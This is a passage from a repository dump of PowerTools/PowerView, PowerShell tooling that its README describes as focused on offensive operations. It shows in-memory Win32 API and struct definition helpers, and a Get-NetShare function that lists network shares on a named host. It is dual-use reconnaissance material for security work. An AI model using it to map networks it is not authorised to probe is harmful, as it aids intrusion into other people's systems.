$True)] 217 | [Runtime.InteropServices.CallingConvention] 218 | $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall, 219 | 220 | [Parameter(ValueFromPipelineByPropertyName = $True)] 221 | [Runtime.InteropServices.CharSet] 222 | $Charset = [Runtime.InteropServices.CharSet]::Auto, 223 | 224 | [Parameter(ValueFromPipelineByPropertyName = $True)] 225 | [Switch] 226 | $SetLastError, 227 | 228 | [Parameter(Mandatory = $True)] 229 | [Reflection.Emit.ModuleBuilder] 230 | $Module, 231 | 232 | [ValidateNotNull()] 233 | [String] 234 | $Namespace = '' 235 | ) 236 | 237 | BEGIN 238 | { 239 | $TypeHash = @{} 240 | } 241 | 242 | PROCESS 243 | { 244 | # Define one type for each DLL 245 | if (!$TypeHash.ContainsKey($DllName)) 246 | { 247 | if ($Namespace) 248 | { 249 | $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit') 250 | } 251 | else 252 | { 253 | $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit') 254 | } 255 | } 256 | 257 | $Method = $TypeHash[$DllName].DefineMethod( 258 | $FunctionName, 259 | 'Public,Static,PinvokeImpl', 260 | $ReturnType, 261 | $ParameterTypes) 262 | 263 | # Make each ByRef parameter an Out parameter 264 | $i = 1 265 | foreach($Parameter in $ParameterTypes) 266 | { 267 | if ($Parameter.IsByRef) 268 | { 269 | [void] $Method.DefineParameter($i, 'Out', $null) 270 | } 271 | 272 | $i++ 273 | } 274 | 275 | $DllImport = [Runtime.InteropServices.DllImportAttribute] 276 | $SetLastErrorField = $DllImport.GetField('SetLastError') 277 | $CallingConventionField = $DllImport.GetField('CallingConvention') 278 | $CharsetField = $DllImport.GetField('CharSet') 279 | if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False } 280 | 281 | # Equivalent to C# version of [DllImport(DllName)] 282 | $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String]) 283 | $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor, 284 | $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(), 285 | [Reflection.FieldInfo[]] @($SetLastErrorField, $CallingConventionField, $CharsetField), 286 | [Object[]] @($SLEValue, ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), ([Runtime.InteropServices.CharSet] $Charset))) 287 | 288 | $Method.SetCustomAttribute($DllImportAttribute) 289 | } 290 | 291 | END 292 | { 293 | $ReturnTypes = @{} 294 | 295 | foreach ($Key in $TypeHash.Keys) 296 | { 297 | $Type = $TypeHash[$Key].CreateType() 298 | 299 | $ReturnTypes[$Key] = $Type 300 | } 301 | 302 | return $ReturnTypes 303 | } 304 | } 305 | 306 | 307 | # A helper function used to reduce typing while defining struct 308 | # fields. 309 | # Author: Matthew Graeber (@mattifestation) 310 | function field 311 | { 312 | Param 313 | ( 314 | [Parameter(Position = 0, Mandatory = $True)] 315 | [UInt16] 316 | $Position, 317 | 318 | [Parameter(Position = 1, Mandatory = $True)] 319 | [Type] 320 | $Type, 321 | 322 | [Parameter(Position = 2)] 323 | [UInt16] 324 | $Offset, 325 | 326 | [Object[]] 327 | $MarshalAs 328 | ) 329 | 330 | @{ 331 | Position = $Position 332 | Type = $Type -as [Type] 333 | Offset = $Offset 334 | MarshalAs = $MarshalAs 335 | } 336 | } 337 | 338 | # Author: Matthew Graeber (@mattifestation) 339 | function struct 340 | { 341 | <# 342 | .SYNOPSIS 343 | 344 | Creates an in-memory struct for use in your PowerShell session. 345 | 346 | Author: Matthew Graeber (@mattifestation) 347 | License: BSD 3-Clause 348 | Required Dependencies: None 349 | Optional Dependencies: field 350 | 351 | .DESCRIPTION 352 | 353 | The 'struct' function facilitates the creation of structs entirely in 354 | memory using as close to a "C style" as PowerShell will allow. Struct 355 | fields are specified using a hashtable where each field of the struct 356 | is comprosed of the order in which it should be defined, its .NET 357 | type, and optionally, its offset and special marshaling attributes. 358 | 359 | One of the features of 'struct' is that after your struct is defined, 360 | it will come with a built-in GetSize method as well as an explicit 361 | converter so that you can easily cast an IntPtr to the struct without 362 | relying upon calling SizeOf and/or PtrToStructure in the Marshal 363 | class. 364 | 365 | .PARAMETER Module 366 | 367 | The in-memory module that will host the struct. Use 368 | New-InMemoryModule to define an in-memory module. 369 | 370 | .PARAMETER FullName 371 | 372 | The fully-qualified name of the struct. 373 | 374 | .PARAMETER StructFields 375 | 376 | A hashtable of fields. Use the 'field' helper function to ease 377 | defining each field. 378 | 379 | .PARAMETER PackingSize 380 | 381 | Specifies the memory alignment of fields. 382 | 383 | .PARAMETER ExplicitLayout 384 | 385 | Indicates that an explicit offset for each field will be specified. 386 | 387 | .EXAMPLE 388 | 389 | $Mod = New-InMemoryModule -ModuleName Win32 390 | 391 | $ImageDosSignature = enum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{ 392 | DOS_SIGNATURE = 0x5A4D 393 | OS2_SIGNATURE = 0x454E 394 | OS2_SIGNATURE_LE = 0x454C 395 | VXD_SIGNATURE = 0x454C 396 | } 397 | 398 | $ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{ 399 | e_magic = field 0 $ImageDosSignature 400 | e_cblp = field 1 UInt16 401 | e_cp = field 2 UInt16 402 | e_crlc = field 3 UInt16 403 | e_cparhdr = field 4 UInt16 404 | e_minalloc = field 5 UInt16 405 | e_maxalloc = field 6 UInt16 406 | e_ss = field 7 UInt16 407 | e_sp = field 8 UInt16 408 | e_csum = field 9 UInt16 409 | e_ip = field 10 UInt16 410 | e_cs = field 11 UInt16 411 | e_lfarlc = field 12 UInt16 412 | e_ovno = field 13 UInt16 413 | e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4) 414 | e_oemid = field 15 UInt16 415 | e_oeminfo = field 16 UInt16 416 | e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10) 417 | e_lfanew = field 18 Int32 418 | } 419 | 420 | # Example of using an explicit layout in order to create a union. 421 | $TestUnion = struct $Mod TestUnion @{ 422 | field1 = field 0 UInt32 0 423 | field2 = field 1 IntPtr 0 424 | } -ExplicitLayout 425 | 426 | .NOTES 427 | 428 | PowerShell purists may disagree with the naming of this function but 429 | again, this was developed in such a way so as to emulate a "C style" 430 | definition as closely as possible. Sorry, I'm not going to name it 431 | New-Struct. :P 432 | #> 433 | 434 | [OutputType([Type])] 435 | Param 436 | ( 437 | [Parameter(Position = 1, Mandatory = $True)] 438 | [Reflection.Emit.ModuleBuilder] 439 | $Module, 440 | 441 | [Parameter(Position = 2, Mandatory = $True)] 442 | [ValidateNotNullOrEmpty()] 443 | [String] 444 | $FullName, 445 | 446 | [Parameter(Position = 3, Mandatory = $True)] 447 | [ValidateNotNullOrEmpty()] 448 | [Hashtable] 449 | $StructFields, 450 | 451 | [Reflection.Emit.PackingSize] 452 | $PackingSize = [Reflection.Emit.PackingSize]::Unspecified, 453 | 454 | [Switch] 455 | $ExplicitLayout 456 | ) 457 | 458 | [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass, 459 | Class, 460 | Public, 461 | Sealed, 462 | BeforeFieldInit' 463 | 464 | if ($ExplicitLayout) 465 | { 466 | $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout 467 | } 468 | else 469 | { 470 | $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout 471 | } 472 | 473 | $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize) 474 | $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] 475 | $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) 476 | 477 | $Fields = New-Object Hashtable[]($StructFields.Count) 478 | 479 | # Sort each field according to the orders specified 480 | # Unfortunately, PSv2 doesn't have the luxury of the 481 | # hashtable [Ordered] accelerator. 482 | foreach ($Field in $StructFields.Keys) 483 | { 484 | $Index = $StructFields[$Field]['Position'] 485 | $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]} 486 | } 487 | 488 | foreach ($Field in $Fields) 489 | { 490 | $FieldName = $Field['FieldName'] 491 | $FieldProp = $Field['Properties'] 492 | 493 | $Offset = $FieldProp['Offset'] 494 | $Type = $FieldProp['Type'] 495 | $MarshalAs = $FieldProp['MarshalAs'] 496 | 497 | $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public') 498 | 499 | if ($MarshalAs) 500 | { 501 | $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType]) 502 | if ($MarshalAs[1]) 503 | { 504 | $Size = $MarshalAs[1] 505 | $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, 506 | $UnmanagedType, $SizeConst, @($Size)) 507 | } 508 | else 509 | { 510 | $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType)) 511 | } 512 | 513 | $NewField.SetCustomAttribute($AttribBuilder) 514 | } 515 | 516 | if ($ExplicitLayout) { $NewField.SetOffset($Offset) } 517 | } 518 | 519 | # Make the struct aware of its own size. 520 | # No more having to call [Runtime.InteropServices.Marshal]::SizeOf! 521 | $SizeMethod = $StructBuilder.DefineMethod('GetSize', 522 | 'Public, Static', 523 | [Int], 524 | [Type[]] @()) 525 | $ILGenerator = $SizeMethod.GetILGenerator() 526 | # Thanks for the help, Jason Shirk! 527 | $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) 528 | $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, 529 | [Type].GetMethod('GetTypeFromHandle')) 530 | $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, 531 | [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type]))) 532 | $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret) 533 | 534 | # Allow for explicit casting from an IntPtr 535 | # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure! 536 | $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit', 537 | 'PrivateScope, Public, Static, HideBySig, SpecialName', 538 | $StructBuilder, 539 | [Type[]] @([IntPtr])) 540 | $ILGenerator2 = $ImplicitConverter.GetILGenerator() 541 | $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop) 542 | $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0) 543 | $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) 544 | $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, 545 | [Type].GetMethod('GetTypeFromHandle')) 546 | $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, 547 | [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type]))) 548 | $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder) 549 | $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret) 550 | 551 | $StructBuilder.CreateType() 552 | } 553 | 554 | 555 | function Get-NetShare { 556 | <# 557 | .SYNOPSIS 558 | Gets share information for a specified server. 559 | 560 | .DESCRIPTION 561 | This function will execute the NetShareEnum Win32API call to query 562 | a given host for open shares. This is a replacement for 563 | "net share \\hostname" 564 | 565 | .PARAMETER HostName 566 | The hostname to query for shares. 567 | 568 | .OUTPUTS 569 | SHARE_INFO_1 structure. A representation of the SHARE_INFO_1 570 | result structure which includes the name and note for each share. 571 | 572 | .EXAMPLE 573 | > Get-NetShare 574 | Returns active shares on the local host. 575 | 576 | .EXAMPLE 577 | > Get-NetShare -HostName sqlserver 578 | Returns active shares on the 'sqlserver' host 579 | #> 580 | 581 | [CmdletBinding()] 582 | param( 583 | [string] 584 | $HostName = 'localhost' 585 | ) 586 | 587 | If ($PSBoundParameters['Debug']) { 588 | $DebugPreference = 'Continue' 589 | } 590 | 591 | # arguments for NetShareEnum 592 | $QueryLevel = 1 593 | $ptrInfo = [IntPtr]::Zero 594 | $EntriesRead = 0 595 | $TotalRead = 0 596 | $ResumeHandle = 0 597 | 598 | # get the share information 599 | $Result = $Netapi32::NetShareEnum($HostName, $QueryLevel,[ref]$ptrInfo,-1,[ref]$EntriesRead,[ref]$TotalRead,[ref]$ResumeHandle) 600 | 601 | # Locate the offset of the initial intPtr 602 | $offset = $ptrInfo.ToInt64() 603 | 604 | Write-Debug "Get-NetShare result: $Result" 605 | 606 | # 0 = success 607 | if (($Result -eq 0) -and ($offset -gt 0)) { 608 | 609 | # Work out how mutch to increment the pointer by finding out the size of the structure 610 | $Increment = $SHARE_INFO_1::GetSize() 611 | 612 | # parse all the result structures 613 | for ($i = 0; ($i -lt $EntriesRead); $i++){ 614 | # create a new int ptr at the given offset and cast 615 | # the pointer as our result structure 616 | $newintptr = New-Object system.Intptr -ArgumentList $offset 617 | $Info = $newintptr -as $SHARE_INFO_1 618 | # return all the sections of the structure 619 | $Info | Select-Object * 620 | $offset = $newintptr.ToInt64() 621 | $offset += $increment 622 | } 623 | # free up the result buffer 624 | $Netapi32::NetApiBufferFree($ptrInfo) | Out-Null 625 | } 626 | else 627 | { 628 | switch ($Result) { 629 | (5) {Write-Debug 'The user does not have access to the requested information.'} 630 | (124) {Write-Debug 'The value specified for the level parameter is not valid.'} 631 | (87) {Write-Debug 'The specified parameter is not valid.'} 632 | (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} 633 | (8) {Write-Debug 'Insufficient memory is available.'} 634 | (2312) {Write-Debug 'A session does not exist with the computer name.'} 635 | (2351) {Write-Debug 'The computer name is not valid.'} 636 | (2221) {Write-Debug 'Username not found.'} 637 | (53) {Write-Debug 'Hostname could not be found'} 638 | } 639 | } 640 | } 641 | 642 | $Mod = New-InMemoryModule -ModuleName Win32 643 | 644 | # all of the Win32 API functions we need 645 | $FunctionDefinitions = @( 646 | (func netapi32 NetShareEnum ([Int]) @([string], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), 647 | (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])) 648 | ) 649 | 650 | # the NetShareEnum result structure 651 | $SHARE_INFO_1 = struct $Mod SHARE_INFO_1 @{ 652 | shi1_netname = field 0 String -MarshalAs @('LPWStr') 653 | shi1_type = field 1 UInt32 654 | shi1_remark = field 2 String -MarshalAs @('LPWStr') 655 | } 656 | 657 | 658 | $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' 659 | $Netapi32 = $Types['netapi32'] 660 | -------------------------------------------------------------------------------- /PowerView/powerview.psd1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cheetz/PowerTools/feba7a6cecb806ce41411b87f5bcb7cefcb1af45/PowerView/powerview.psd1 -------------------------------------------------------------------------------- /PowerView/powerview.psm1: -------------------------------------------------------------------------------- 1 | Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | #PowerTools 2 | 3 | Veil's PowerTools are a collection of PowerShell projects with a focus 4 | on offensive operations. 5 | 6 | Developed by [@harmj0y](https://twitter.com/harmj0y) and [@sixdub](https://twitter.com/sixdub) 7 | --------------------------------------------------------------------------------